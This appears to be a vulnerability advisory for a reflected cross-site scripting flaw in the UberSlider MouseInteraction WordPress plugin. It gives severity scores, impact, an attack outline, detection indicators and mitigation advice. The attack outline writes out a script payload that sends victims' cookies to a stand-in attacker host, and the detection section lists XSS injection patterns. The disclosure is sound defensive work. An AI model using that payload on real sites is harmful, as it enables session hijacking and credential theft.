CVE-2026-28101: 
WordPress vulnerability analysis and mitigation

CVE-2026-28101 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup UberSlider MouseInteraction WordPress plugin, affecting all versions up to and including 2.3. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on August 30, 2025, and published by Patchstack on February 27, 2026, with NVD registration on March 5, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by CISA-ADP (Patchstack). No official patch from the vendor is currently available.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw in the uberSlider_mouseinteraction WordPress plugin. Exploitation occurs when unsanitized user-supplied input is reflected back in the HTTP response without proper encoding, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser. The attack vector is network-based, requires no authentication (unauthenticated), but does require user interaction — typically a victim clicking a crafted malicious link (Patchstack).

Successful exploitation allows an attacker to inject malicious scripts into the context of a victim's browser session on the affected WordPress site, potentially enabling session hijacking, credential theft, malicious redirects, or defacement. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality, integrity, and availability are each assessed as Low impact, reflecting the ability to read or modify limited data and potentially disrupt the user's browsing experience (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running the UberSlider MouseInteraction plugin version 2.3 or earlier using tools like WPScan, Shodan, or Google dorks targeting the plugin's known file paths.
2. Identify vulnerable parameter: Locate the plugin's front-end page or endpoint that reflects user-supplied input without sanitization in the HTTP response.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim (e.g., an administrator) via phishing email, social engineering, or malicious link.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser context, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Network: HTTP requests to WordPress pages hosting the UberSlider MouseInteraction plugin containing URL-encoded script tags or JavaScript event handlers in query parameters (e.g., <script>, onerror=, onload=, javascript:).
• Logs: WordPress or web server access logs showing GET/POST requests with suspicious encoded payloads (e.g., %3Cscript%3E, %22%3E%3Cscript%3E) targeting plugin-related endpoints.
• Browser/Client-Side: Unexpected outbound connections from victim browsers to unknown external domains shortly after visiting a site running the plugin, potentially indicating cookie exfiltration.

As of the time of publication, no official patch from LambertGroup is available for the UberSlider MouseInteraction plugin. Site administrators are advised to deactivate and remove the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help reduce exposure (Patchstack).